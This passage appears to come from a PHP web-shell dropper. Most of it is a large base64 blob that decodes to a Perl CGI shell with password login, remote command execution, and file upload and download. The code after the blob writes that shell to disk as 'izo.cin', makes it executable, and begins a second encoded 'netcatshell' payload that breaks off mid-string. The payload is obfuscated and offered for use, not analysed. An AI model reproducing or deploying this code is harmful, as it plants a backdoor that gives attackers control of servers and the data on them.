MjF0WVc1a2N5NGdTWFFnWkdsemNHeGhlWE1nZEdobElHOTFkSEIxZENCdlppQjBhR1VLSXlCamIyMXRZVzVrSUdGdVpDQmhiR3h2ZDNNZ2RHaGxJSFZ6WlhJZ2RHOGdaVzUwWlhJZ1lXNXZkR2hsY2lCamIyMXRZVzVrTGlCVWFHVWdZMmhoYm1kbElHUnBjbVZqZEc5eWVRb2pJR052YlcxaGJtUWdhWE1nYUdGdVpHeGxaQ0JrYVdabVpYSmxiblJzZVM0Z1NXNGdkR2hwY3lCallYTmxMQ0IwYUdVZ2JtVjNJR1JwY21WamRHOXllU0JwY3lCemRHOXlaV1FnYVc0S0l5QmhiaUJwYm5SbGNtNWhiQ0IyWVhKcFlXSnNaU0JoYm1RZ2FYTWdkWE5sWkNCbFlXTm9JSFJwYldVZ1lTQmpiMjF0WVc1a0lHaGhjeUIwYnlCaVpTQmxlR1ZqZFhSbFpDNGdWR2hsQ2lNZ2IzVjBjSFYwSUc5bUlIUm9aU0JqYUdGdVoyVWdaR2x5WldOMGIzSjVJR052YlcxaGJtUWdhWE1nYm05MElHUnBjM0JzWVhsbFpDQjBieUIwYUdVZ2RYTmxjbk1LSXlCMGFHVnlaV1p2Y21VZ1pYSnliM0lnYldWemMyRm5aWE1nWTJGdWJtOTBJR0psSUdScGMzQnNZWGxsWkM0S0l5MHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFFwemRXSWdSWGhsWTNWMFpVTnZiVzFoYm1RS2V3b0phV1lvSkZKMWJrTnZiVzFoYm1RZ1BYNGdiUzllWEhNcVkyUmNjeXNvTGlzcEx5a2dJeUJwZENCcGN5QmhJR05vWVc1blpTQmthWElnWTI5dGJXRnVaQW9KZXdvSkNTTWdkMlVnWTJoaGJtZGxJSFJvWlNCa2FYSmxZM1J2Y25rZ2FXNTBaWEp1WVd4c2VTNGdWR2hsSUc5MWRIQjFkQ0J2WmlCMGFHVUtDUWtqSUdOdmJXMWhibVFnYVhNZ2JtOTBJR1JwYzNCc1lYbGxaQzRLQ1FrS0NRa2tUMnhrUkdseUlEMGdKRU4xY25KbGJuUkVhWEk3Q2drSkpFTnZiVzFoYm1RZ1BTQWlZMlFnWENJa1EzVnljbVZ1ZEVScGNsd2lJaTRrUTIxa1UyVndMaUpqWkNBa01TSXVKRU50WkZObGNDNGtRMjFrVUhka093b0pDV05vYjNBb0pFTjFjbkpsYm5SRWFYSWdQU0JnSkVOdmJXMWhibVJnS1RzS0NRa21VSEpwYm5SUVlXZGxTR1ZoWkdWeUtDSmpJaWs3Q2drSkpGQnliMjF3ZENBOUlDUlhhVzVPVkNBL0lDSWtUMnhrUkdseVBpQWlJRG9nSWx0aFpHMXBibHhBSkZObGNuWmxjazVoYldVZ0pFOXNaRVJwY2wxY0pDQWlPd29KQ1hCeWFXNTBJQ0k4WTI5a1pUNGtVSEp2YlhCMElDUlNkVzVEYjIxdFlXNWtQQzlqYjJSbFBpSTdDZ2w5Q2dsbGJITmxJQ01nYzI5dFpTQnZkR2hsY2lCamIyMXRZVzVrTENCa2FYTndiR0Y1SUhSb1pTQnZkWFJ3ZFhRS0NYc0tDUWttVUhKcGJuUlFZV2RsU0dWaFpHVnlLQ0pqSWlrN0Nna0pKRkJ5YjIxd2RDQTlJQ1JYYVc1T1ZDQS9JQ0lrUTNWeWNtVnVkRVJwY2o0Z0lpQTZJQ0piWVdSdGFXNWNRQ1JUWlhKMlpYSk9ZVzFsSUNSRGRYSnlaVzUwUkdseVhWd2tJQ0k3Q2drSmNISnBiblFnSWp4amIyUmxQaVJRY205dGNIUWdKRkoxYmtOdmJXMWhibVE4TDJOdlpHVStQSGh0Y0Q0aU93b0pDU1JEYjIxdFlXNWtJRDBnSW1Oa0lGd2lKRU4xY25KbGJuUkVhWEpjSWlJdUpFTnRaRk5sY0M0a1VuVnVRMjl0YldGdVpDNGtVbVZrYVhKbFkzUnZjanNLQ1FscFppZ2hKRmRwYms1VUtRb0pDWHNLQ1FrSkpGTkpSM3NuUVV4U1RTZDlJRDBnWENaRGIyMXRZVzVrVkdsdFpXOTFkRHNLQ1FrSllXeGhjbTBvSkVOdmJXMWhibVJVYVcxbGIzVjBSSFZ5WVhScGIyNHBPd29KQ1gwS0NRbHBaaWdrVTJodmQwUjVibUZ0YVdOUGRYUndkWFFwSUNNZ2MyaHZkeUJ2ZFhSd2RYUWdZWE1nYVhRZ2FYTWdaMlZ1WlhKaGRHVmtDZ2tKZXdvSkNRa2tmRDB4T3dvSkNRa2tRMjl0YldGdVpDQXVQU0FpSUh3aU93b0pDUWx2Y0dWdUtFTnZiVzFoYm1SUGRYUndkWFFzSUNSRGIyMXRZVzVrS1RzS0NRa0pkMmhwYkdVb1BFTnZiVzFoYm1SUGRYUndkWFErS1FvSkNRbDdDZ2tKQ1Fra1h5QTlmaUJ6THloY2JueGNjbHh1S1NRdkx6c0tDUWtKQ1hCeWFXNTBJQ0lrWDF4dUlqc0tDUWtKZlFvSkNRa2tmRDB3T3dvSkNYMEtDUWxsYkhObElDTWdjMmh2ZHlCdmRYUndkWFFnWVdaMFpYSWdZMjl0YldGdVpDQmpiMjF3YkdWMFpYTUtDUWw3Q2drSkNYQnlhVzUwSUdBa1EyOXRiV0Z1WkdBN0Nna0pmUW9KQ1dsbUtDRWtWMmx1VGxRcENna0pld29KQ1FsaGJHRnliU2d3S1RzS0NRbDlDZ2tKY0hKcGJuUWdJand2ZUcxd1BpSTdDZ2w5Q2drbVVISnBiblJEYjIxdFlXNWtUR2x1WlVsdWNIVjBSbTl5YlRzS0NTWlFjbWx1ZEZCaFoyVkdiMjkwWlhJN0NuMEtDaU10TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMEtJeUJVYUdseklHWjFibU4wYVc5dUlHUnBjM0JzWVhseklIUm9aU0J3WVdkbElIUm9ZWFFnWTI5dWRHRnBibk1nWVNCc2FXNXJJSGRvYVdOb0lHRnNiRzkzY3lCMGFHVWdkWE5sY2dvaklIUnZJR1J2ZDI1c2IyRmtJSFJvWlNCemNHVmphV1pwWldRZ1ptbHNaUzRnVkdobElIQmhaMlVnWVd4emJ5QmpiMjUwWVdsdWN5QmhJR0YxZEc4dGNtVm1jbVZ6YUFvaklHWmxZWFIxY21VZ2RHaGhkQ0J6ZEdGeWRITWdkR2hsSUdSdmQyNXNiMkZrSUdGMWRHOXRZWFJwWTJGc2JIa3VDaU1nUVhKbmRXMWxiblFnTVRvZ1JuVnNiSGtnY1hWaGJHbG1hV1ZrSUdacGJHVnVZVzFsSUc5bUlIUm9aU0JtYVd4bElIUnZJR0psSUdSdmQyNXNiMkZrWldRS0l5MHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFFwemRXSWdVSEpwYm5SRWIzZHViRzloWkV4cGJtdFFZV2RsQ25zS0NXeHZZMkZzS0NSR2FXeGxWWEpzS1NBOUlFQmZPd29KYVdZb0xXVWdKRVpwYkdWVmNtd3BJQ01nYVdZZ2RHaGxJR1pwYkdVZ1pYaHBjM1J6Q2dsN0Nna0pJeUJsYm1OdlpHVWdkR2hsSUdacGJHVWdiR2x1YXlCemJ5QjNaU0JqWVc0Z2MyVnVaQ0JwZENCMGJ5QjBhR1VnWW5KdmQzTmxjZ29KQ1NSR2FXeGxWWEpzSUQxK0lITXZLRnRlWVMxNlFTMWFNQzA1WFNrdkp5VW5MblZ1Y0dGamF5Z2lTQ29pTENReEtTOWxaenNLQ1Fra1JHOTNibXh2WVdSTWFXNXJJRDBnSWlSVFkzSnBjSFJNYjJOaGRHbHZiajloUFdSdmQyNXNiMkZrSm1ZOUpFWnBiR1ZWY213bWJ6MW5ieUk3Q2drSkpFaDBiV3hOWlhSaFNHVmhaR1Z5SUQwZ0lqeHRaWFJoSUVoVVZGQXRSVkZWU1ZZOVhDSlNaV1p5WlhOb1hDSWdRMDlPVkVWT1ZEMWNJakU3SUZWU1REMGtSRzkzYm14dllXUk1hVzVyWENJK0lqc0tDUWttVUhKcGJuUlFZV2RsU0dWaFpHVnlLQ0pqSWlrN0Nna0pjSEpwYm5RZ1BEeEZUa1E3Q2p4amIyUmxQZ3BUWlc1a2FXNW5JRVpwYkdVZ0pGUnlZVzV6Wm1WeVJtbHNaUzR1TGp4aWNqNEtTV1lnZEdobElHUnZkMjVzYjJGa0lHUnZaWE1nYm05MElITjBZWEowSUdGMWRHOXRZWFJwWTJGc2JIa3NDanhoSUdoeVpXWTlJaVJFYjNkdWJHOWhaRXhwYm1zaVBrTnNhV05ySUVobGNtVThMMkUrTGdvOEwyTnZaR1UrQ2tWT1JBb0pDU1pRY21sdWRFTnZiVzFoYm1STWFXNWxTVzV3ZFhSR2IzSnRPd29KQ1NaUWNtbHVkRkJoWjJWR2IyOTBaWEk3Q2dsOUNnbGxiSE5sSUNNZ1ptbHNaU0JrYjJWemJpZDBJR1Y0YVhOMENnbDdDZ2tKSmxCeWFXNTBVR0ZuWlVobFlXUmxjaWdpWmlJcE93b0pDWEJ5YVc1MElDSThZMjlrWlQ1R1lXbHNaV1FnZEc4Z1pHOTNibXh2WVdRZ0pFWnBiR1ZWY213NklDUWhQQzlqYjJSbFBpSTdDZ2tKSmxCeWFXNTBSbWxzWlVSdmQyNXNiMkZrUm05eWJUc0tDUWttVUhKcGJuUlFZV2RsUm05dmRHVnlPd29KZlFwOUNnb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdENpTWdWR2hwY3lCbWRXNWpkR2x2YmlCeVpXRmtjeUIwYUdVZ2MzQmxZMmxtYVdWa0lHWnBiR1VnWm5KdmJTQjBhR1VnWkdsemF5QmhibVFnYzJWdVpITWdhWFFnZEc4Z2RHaGxDaU1nWW5KdmQzTmxjaXdnYzI4Z2RHaGhkQ0JwZENCallXNGdZbVVnWkc5M2JteHZZV1JsWkNCaWVTQjBhR1VnZFhObGNpNEtJeUJCY21kMWJXVnVkQ0F4T2lCR2RXeHNlU0J4ZFdGc2FXWnBaV1FnY0dGMGFHNWhiV1VnYjJZZ2RHaGxJR1pwYkdVZ2RHOGdZbVVnYzJWdWRDNEtJeTB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExRcHpkV0lnVTJWdVpFWnBiR1ZVYjBKeWIzZHpaWElLZXdvSmJHOWpZV3dvSkZObGJtUkdhV3hsS1NBOUlFQmZPd29KYVdZb2IzQmxiaWhUUlU1RVJrbE1SU3dnSkZObGJtUkdhV3hsS1NrZ0l5Qm1hV3hsSUc5d1pXNWxaQ0JtYjNJZ2NtVmhaR2x1WndvSmV3b0pDV2xtS0NSWGFXNU9WQ2tLQ1FsN0Nna0pDV0pwYm0xdlpHVW9VMFZPUkVaSlRFVXBPd29KQ1FsaWFXNXRiMlJsS0ZOVVJFOVZWQ2s3Q2drSmZRb0pDU1JHYVd4bFUybDZaU0E5SUNoemRHRjBLQ1JUWlc1a1JtbHNaU2twV3pkZE93b0pDU2drUm1sc1pXNWhiV1VnUFNBa1UyVnVaRVpwYkdVcElEMStJQ0J0SVNoYlhpOWVYRnhkS2lra0lUc0tDUWx3Y21sdWRDQWlRMjl1ZEdWdWRDMVVlWEJsT2lCaGNIQnNhV05oZEdsdmJpOTRMWFZ1YTI1dmQyNWNiaUk3Q2drSmNISnBiblFnSWtOdmJuUmxiblF0VEdWdVozUm9PaUFrUm1sc1pWTnBlbVZjYmlJN0Nna0pjSEpwYm5RZ0lrTnZiblJsYm5RdFJHbHpjRzl6YVhScGIyNDZJR0YwZEdGamFHMWxiblE3SUdacGJHVnVZVzFsUFNReFhHNWNiaUk3Q2drSmNISnBiblFnZDJocGJHVW9QRk5GVGtSR1NVeEZQaWs3Q2drSlkyeHZjMlVvVTBWT1JFWkpURVVwT3dvSmZRb0paV3h6WlNBaklHWmhhV3hsWkNCMGJ5QnZjR1Z1SUdacGJHVUtDWHNLQ1FrbVVISnBiblJRWVdkbFNHVmhaR1Z5S0NKbUlpazdDZ2tKY0hKcGJuUWdJanhqYjJSbFBrWmhhV3hsWkNCMGJ5QmtiM2R1Ykc5aFpDQWtVMlZ1WkVacGJHVTZJQ1FoUEM5amIyUmxQaUk3Q2drSkpsQnlhVzUwUm1sc1pVUnZkMjVzYjJGa1JtOXliVHNLQ1FrbVVISnBiblJRWVdkbFJtOXZkR1Z5T3dvSmZRcDlDZ29LSXkwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUW9qSUZSb2FYTWdablZ1WTNScGIyNGdhWE1nWTJGc2JHVmtJSGRvWlc0Z2RHaGxJSFZ6WlhJZ1pHOTNibXh2WVdSeklHRWdabWxzWlM0Z1NYUWdaR2x6Y0d4aGVYTWdZU0J0WlhOellXZGxDaU1nZEc4Z2RHaGxJSFZ6WlhJZ1lXNWtJSEJ5YjNacFpHVnpJR0VnYkdsdWF5QjBhSEp2ZFdkb0lIZG9hV05vSUhSb1pTQm1hV3hsSUdOaGJpQmlaU0JrYjNkdWJHOWhaR1ZrTGdvaklGUm9hWE1nWm5WdVkzUnBiMjRnYVhNZ1lXeHpieUJqWVd4c1pXUWdkMmhsYmlCMGFHVWdkWE5sY2lCamJHbGphM01nYjI0Z2RHaGhkQ0JzYVc1ckxpQkpiaUIwYUdseklHTmhjMlVzQ2lNZ2RHaGxJR1pwYkdVZ2FYTWdjbVZoWkNCaGJtUWdjMlZ1ZENCMGJ5QjBhR1VnWW5KdmQzTmxjaTRLSXkwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUXB6ZFdJZ1FtVm5hVzVFYjNkdWJHOWhaQXA3Q2draklHZGxkQ0JtZFd4c2VTQnhkV0ZzYVdacFpXUWdjR0YwYUNCdlppQjBhR1VnWm1sc1pTQjBieUJpWlNCa2IzZHViRzloWkdWa0NnbHBaaWdvSkZkcGJrNVVJQ1lnS0NSVWNtRnVjMlpsY2tacGJHVWdQWDRnYlM5ZVhGeDhYaTQ2THlrcElId0tDUWtvSVNSWGFXNU9WQ0FtSUNna1ZISmhibk5tWlhKR2FXeGxJRDErSUcwdlhsd3ZMeWtwS1NBaklIQmhkR2dnYVhNZ1lXSnpiMngxZEdVS0NYc0tDUWtrVkdGeVoyVjBSbWxzWlNBOUlDUlVjbUZ1YzJabGNrWnBiR1U3Q2dsOUNnbGxiSE5sSUNNZ2NHRjBhQ0JwY3lCeVpXeGhkR2wyWlFvSmV3b0pDV05vYjNBb0pGUmhjbWRsZEVacGJHVXBJR2xtS0NSVVlYSm5aWFJHYVd4bElEMGdKRU4xY25KbGJuUkVhWElwSUQxK0lHMHZXMXhjWEM5ZEpDODdDZ2tKSkZSaGNtZGxkRVpwYkdVZ0xqMGdKRkJoZEdoVFpYQXVKRlJ5WVc1elptVnlSbWxzWlRzS0NYMEtDZ2xwWmlna1QzQjBhVzl1Y3lCbGNTQWlaMjhpS1NBaklIZGxJR2hoZG1VZ2RHOGdjMlZ1WkNCMGFHVWdabWxzWlFvSmV3b0pDU1pUWlc1a1JtbHNaVlJ2UW5KdmQzTmxjaWdrVkdGeVoyVjBSbWxzWlNrN0NnbDlDZ2xsYkhObElDTWdkMlVnYUdGMlpTQjBieUJ6Wlc1a0lHOXViSGtnZEdobElHeHBibXNnY0dGblpRb0pld29KQ1NaUWNtbHVkRVJ2ZDI1c2IyRmtUR2x1YTFCaFoyVW9KRlJoY21kbGRFWnBiR1VwT3dvSmZRcDlDZ29qTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRDaU1nVkdocGN5Qm1kVzVqZEdsdmJpQnBjeUJqWVd4c1pXUWdkMmhsYmlCMGFHVWdkWE5sY2lCM1lXNTBjeUIwYnlCMWNHeHZZV1FnWVNCbWFXeGxMaUJKWmlCMGFHVUtJeUJtYVd4bElHbHpJRzV2ZENCemNHVmphV1pwWldRc0lHbDBJR1JwYzNCc1lYbHpJR0VnWm05eWJTQmhiR3h2ZDJsdVp5QjBhR1VnZFhObGNpQjBieUJ6Y0dWamFXWjVJR0VLSXlCbWFXeGxMQ0J2ZEdobGNuZHBjMlVnYVhRZ2MzUmhjblJ6SUhSb1pTQjFjR3h2WVdRZ2NISnZZMlZ6Y3k0S0l5MHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFFwemRXSWdWWEJzYjJGa1JtbHNaUXA3Q2draklHbG1JRzV2SUdacGJHVWdhWE1nYzNCbFkybG1hV1ZrTENCd2NtbHVkQ0IwYUdVZ2RYQnNiMkZrSUdadmNtMGdZV2RoYVc0S0NXbG1LQ1JVY21GdWMyWmxja1pwYkdVZ1pYRWdJaUlwQ2dsN0Nna0pKbEJ5YVc1MFVHRm5aVWhsWVdSbGNpZ2laaUlwT3dvSkNTWlFjbWx1ZEVacGJHVlZjR3h2WVdSR2IzSnRPd29KQ1NaUWNtbHVkRkJoWjJWR2IyOTBaWEk3Q2drSmNtVjBkWEp1T3dvSmZRb0pKbEJ5YVc1MFVHRm5aVWhsWVdSbGNpZ2lZeUlwT3dvS0NTTWdjM1JoY25RZ2RHaGxJSFZ3Ykc5aFpHbHVaeUJ3Y205alpYTnpDZ2x3Y21sdWRDQWlQR052WkdVK1ZYQnNiMkZrYVc1bklDUlVjbUZ1YzJabGNrWnBiR1VnZEc4Z0pFTjFjbkpsYm5SRWFYSXVMaTQ4WW5JK0lqc0tDZ2tqSUdkbGRDQjBhR1VnWm5Wc2JHeDVJSEYxWVd4cFptbGxaQ0J3WVhSb2JtRnRaU0J2WmlCMGFHVWdabWxzWlNCMGJ5QmlaU0JqY21WaGRHVmtDZ2xqYUc5d0tDUlVZWEpuWlhST1lXMWxLU0JwWmlBb0pGUmhjbWRsZEU1aGJXVWdQU0FrUTNWeWNtVnVkRVJwY2lrZ1BYNGdiUzliWEZ4Y0wxMGtMenNLQ1NSVWNtRnVjMlpsY2tacGJHVWdQWDRnYlNFb1cxNHZYbHhjWFNvcEpDRTdDZ2trVkdGeVoyVjBUbUZ0WlNBdVBTQWtVR0YwYUZObGNDNGtNVHNLQ2dra1ZHRnlaMlYwUm1sc1pWTnBlbVVnUFNCc1pXNW5kR2dvSkdsdWV5ZG1hV3hsWkdGMFlTZDlLVHNLQ1NNZ2FXWWdkR2hsSUdacGJHVWdaWGhwYzNSeklHRnVaQ0IzWlNCaGNtVWdibTkwSUhOMWNIQnZjMlZrSUhSdklHOTJaWEozY21sMFpTQnBkQW9KYVdZb0xXVWdKRlJoY21kbGRFNWhiV1VnSmlZZ0pFOXdkR2x2Ym5NZ2JtVWdJbTkyWlhKM2NtbDBaU0lwQ2dsN0Nna0pjSEpwYm5RZ0lrWmhhV3hsWkRvZ1JHVnpkR2x1WVhScGIyNGdabWxzWlNCaGJISmxZV1I1SUdWNGFYTjBjeTQ4WW5JK0lqc0tDWDBLQ1dWc2MyVWdJeUJtYVd4bElHbHpJRzV2ZENCd2NtVnpaVzUwQ2dsN0Nna0phV1lvYjNCbGJpaFZVRXhQUVVSR1NVeEZMQ0FpUGlSVVlYSm5aWFJPWVcxbElpa3BDZ2tKZXdvSkNRbGlhVzV0YjJSbEtGVlFURTlCUkVaSlRFVXBJR2xtSUNSWGFXNU9WRHNLQ1FrSmNISnBiblFnVlZCTVQwRkVSa2xNUlNBa2FXNTdKMlpwYkdWa1lYUmhKMzA3Q2drSkNXTnNiM05sS0ZWUVRFOUJSRVpKVEVVcE93b0pDUWx3Y21sdWRDQWlWSEpoYm5ObVpYSmxaQ0FrVkdGeVoyVjBSbWxzWlZOcGVtVWdRbmwwWlhNdVBHSnlQaUk3Q2drSkNYQnlhVzUwSUNKR2FXeGxJRkJoZEdnNklDUlVZWEpuWlhST1lXMWxQR0p5UGlJN0Nna0pmUW9KQ1dWc2MyVUtDUWw3Q2drSkNYQnlhVzUwSUNKR1lXbHNaV1E2SUNRaFBHSnlQaUk3Q2drSmZRb0pmUW9KY0hKcGJuUWdJand2WTI5a1pUNGlPd29KSmxCeWFXNTBRMjl0YldGdVpFeHBibVZKYm5CMWRFWnZjbTA3Q2drbVVISnBiblJRWVdkbFJtOXZkR1Z5T3dwOUNnb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdENpTWdWR2hwY3lCbWRXNWpkR2x2YmlCcGN5QmpZV3hzWldRZ2QyaGxiaUIwYUdVZ2RYTmxjaUIzWVc1MGN5QjBieUJrYjNkdWJHOWhaQ0JoSUdacGJHVXVJRWxtSUhSb1pRb2pJR1pwYkdWdVlXMWxJR2x6SUc1dmRDQnpjR1ZqYVdacFpXUXNJR2wwSUdScGMzQnNZWGx6SUdFZ1ptOXliU0JoYkd4dmQybHVaeUIwYUdVZ2RYTmxjaUIwYnlCemNHVmphV1o1SUdFS0l5Qm1hV3hsTENCdmRHaGxjbmRwYzJVZ2FYUWdaR2x6Y0d4aGVYTWdZU0J0WlhOellXZGxJSFJ2SUhSb1pTQjFjMlZ5SUdGdVpDQndjbTkyYVdSbGN5QmhJR3hwYm1zS0l5QjBhSEp2ZFdkb0lDQjNhR2xqYUNCMGFHVWdabWxzWlNCallXNGdZbVVnWkc5M2JteHZZV1JsWkM0S0l5MHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFFwemRXSWdSRzkzYm14dllXUkdhV3hsQ25zS0NTTWdhV1lnYm04Z1ptbHNaU0JwY3lCemNHVmphV1pwWldRc0lIQnlhVzUwSUhSb1pTQmtiM2R1Ykc5aFpDQm1iM0p0SUdGbllXbHVDZ2xwWmlna1ZISmhibk5tWlhKR2FXeGxJR1Z4SUNJaUtRb0pld29KQ1NaUWNtbHVkRkJoWjJWSVpXRmtaWElvSW1ZaUtUc0tDUWttVUhKcGJuUkdhV3hsUkc5M2JteHZZV1JHYjNKdE93b0pDU1pRY21sdWRGQmhaMlZHYjI5MFpYSTdDZ2tKY21WMGRYSnVPd29KZlFvSkNna2pJR2RsZENCbWRXeHNlU0J4ZFdGc2FXWnBaV1FnY0dGMGFDQnZaaUIwYUdVZ1ptbHNaU0IwYnlCaVpTQmtiM2R1Ykc5aFpHVmtDZ2xwWmlnb0pGZHBiazVVSUNZZ0tDUlVjbUZ1YzJabGNrWnBiR1VnUFg0Z2JTOWVYRng4WGk0Nkx5a3BJSHdLQ1Frb0lTUlhhVzVPVkNBbUlDZ2tWSEpoYm5ObVpYSkdhV3hsSUQxK0lHMHZYbHd2THlrcEtTQWpJSEJoZEdnZ2FYTWdZV0p6YjJ4MWRHVUtDWHNLQ1Fra1ZHRnlaMlYwUm1sc1pTQTlJQ1JVY21GdWMyWmxja1pwYkdVN0NnbDlDZ2xsYkhObElDTWdjR0YwYUNCcGN5QnlaV3hoZEdsMlpRb0pld29KQ1dOb2IzQW9KRlJoY21kbGRFWnBiR1VwSUdsbUtDUlVZWEpuWlhSR2FXeGxJRDBnSkVOMWNuSmxiblJFYVhJcElEMStJRzB2VzF4Y1hDOWRKQzg3Q2drSkpGUmhjbWRsZEVacGJHVWdMajBnSkZCaGRHaFRaWEF1SkZSeVlXNXpabVZ5Um1sc1pUc0tDWDBLQ2dscFppZ2tUM0IwYVc5dWN5QmxjU0FpWjI4aUtTQWpJSGRsSUdoaGRtVWdkRzhnYzJWdVpDQjBhR1VnWm1sc1pRb0pld29KQ1NaVFpXNWtSbWxzWlZSdlFuSnZkM05sY2lna1ZHRnlaMlYwUm1sc1pTazdDZ2w5Q2dsbGJITmxJQ01nZDJVZ2FHRjJaU0IwYnlCelpXNWtJRzl1YkhrZ2RHaGxJR3hwYm1zZ2NHRm5aUW9KZXdvSkNTWlFjbWx1ZEVSdmQyNXNiMkZrVEdsdWExQmhaMlVvSkZSaGNtZGxkRVpwYkdVcE93b0pmUXA5Q2dvakxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0Q2lNZ1RXRnBiaUJRY205bmNtRnRJQzBnUlhobFkzVjBhVzl1SUZOMFlYSjBjeUJJWlhKbENpTXRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwS0psSmxZV1JRWVhKelpUc0tKa2RsZEVOdmIydHBaWE03Q2dva1UyTnlhWEIwVEc5allYUnBiMjRnUFNBa1JVNVdleWRUUTFKSlVGUmZUa0ZOUlNkOU93b2tVMlZ5ZG1WeVRtRnRaU0E5SUNSRlRsWjdKMU5GVWxaRlVsOU9RVTFGSjMwN0NpUk1iMmRwYmxCaGMzTjNiM0prSUQwZ0pHbHVleWR3SjMwN0NpUlNkVzVEYjIxdFlXNWtJRDBnSkdsdWV5ZGpKMzA3Q2lSVWNtRnVjMlpsY2tacGJHVWdQU0FrYVc1N0oyWW5mVHNLSkU5d2RHbHZibk1nUFNBa2FXNTdKMjhuZlRzS0NpUkJZM1JwYjI0Z1BTQWthVzU3SjJFbmZUc0tKRUZqZEdsdmJpQTlJQ0pzYjJkcGJpSWdhV1lvSkVGamRHbHZiaUJsY1NBaUlpazdJQ01nYm04Z1lXTjBhVzl1SUhOd1pXTnBabWxsWkN3Z2RYTmxJR1JsWm1GMWJIUUtDaU1nWjJWMElIUm9aU0JrYVhKbFkzUnZjbmtnYVc0Z2QyaHBZMmdnZEdobElHTnZiVzFoYm1SeklIZHBiR3dnWW1VZ1pYaGxZM1YwWldRS0pFTjFjbkpsYm5SRWFYSWdQU0FrYVc1N0oyUW5mVHNLWTJodmNDZ2tRM1Z5Y21WdWRFUnBjaUE5SUdBa1EyMWtVSGRrWUNrZ2FXWW9KRU4xY25KbGJuUkVhWElnWlhFZ0lpSXBPd29LSkV4dloyZGxaRWx1SUQwZ0pFTnZiMnRwWlhON0oxTkJWa1ZFVUZkRUozMGdaWEVnSkZCaGMzTjNiM0prT3dvS2FXWW9KRUZqZEdsdmJpQmxjU0FpYkc5bmFXNGlJSHg4SUNFa1RHOW5aMlZrU1c0cElDTWdkWE5sY2lCdVpXVmtjeTlvWVhNZ2RHOGdiRzluYVc0S2V3b0pKbEJsY21admNtMU1iMmRwYmpzS2ZRcGxiSE5wWmlna1FXTjBhVzl1SUdWeElDSmpiMjF0WVc1a0lpa2dJeUIxYzJWeUlIZGhiblJ6SUhSdklISjFiaUJoSUdOdmJXMWhibVFLZXdvSkprVjRaV04xZEdWRGIyMXRZVzVrT3dwOUNtVnNjMmxtS0NSQlkzUnBiMjRnWlhFZ0luVndiRzloWkNJcElDTWdkWE5sY2lCM1lXNTBjeUIwYnlCMWNHeHZZV1FnWVNCbWFXeGxDbnNLQ1NaVmNHeHZZV1JHYVd4bE93cDlDbVZzYzJsbUtDUkJZM1JwYjI0Z1pYRWdJbVJ2ZDI1c2IyRmtJaWtnSXlCMWMyVnlJSGRoYm5SeklIUnZJR1J2ZDI1c2IyRmtJR0VnWm1sc1pRcDdDZ2ttUkc5M2JteHZZV1JHYVd4bE93cDlDbVZzYzJsbUtDUkJZM1JwYjI0Z1pYRWdJbXh2WjI5MWRDSXBJQ01nZFhObGNpQjNZVzUwY3lCMGJ5QnNiMmR2ZFhRS2V3b0pKbEJsY21admNtMU1iMmR2ZFhRN0NuMEsnOwoKJGZpbGUgPSBmb3BlbigiaXpvLmNpbiIgLCJ3KyIpOwokd3JpdGUgPSBmd3JpdGUgKCRmaWxlICxiYXNlNjRfZGVjb2RlKCRjZ2lzaGVsbGl6b2NpbikpOwpmY2xvc2UoJGZpbGUpOwogICAgY2htb2QoIml6by5jaW4iLDA3NTUpOwokbmV0Y2F0c2hlbGwgPSAnSXlFdmRYTnlMMkpwYmk5d1pYSnN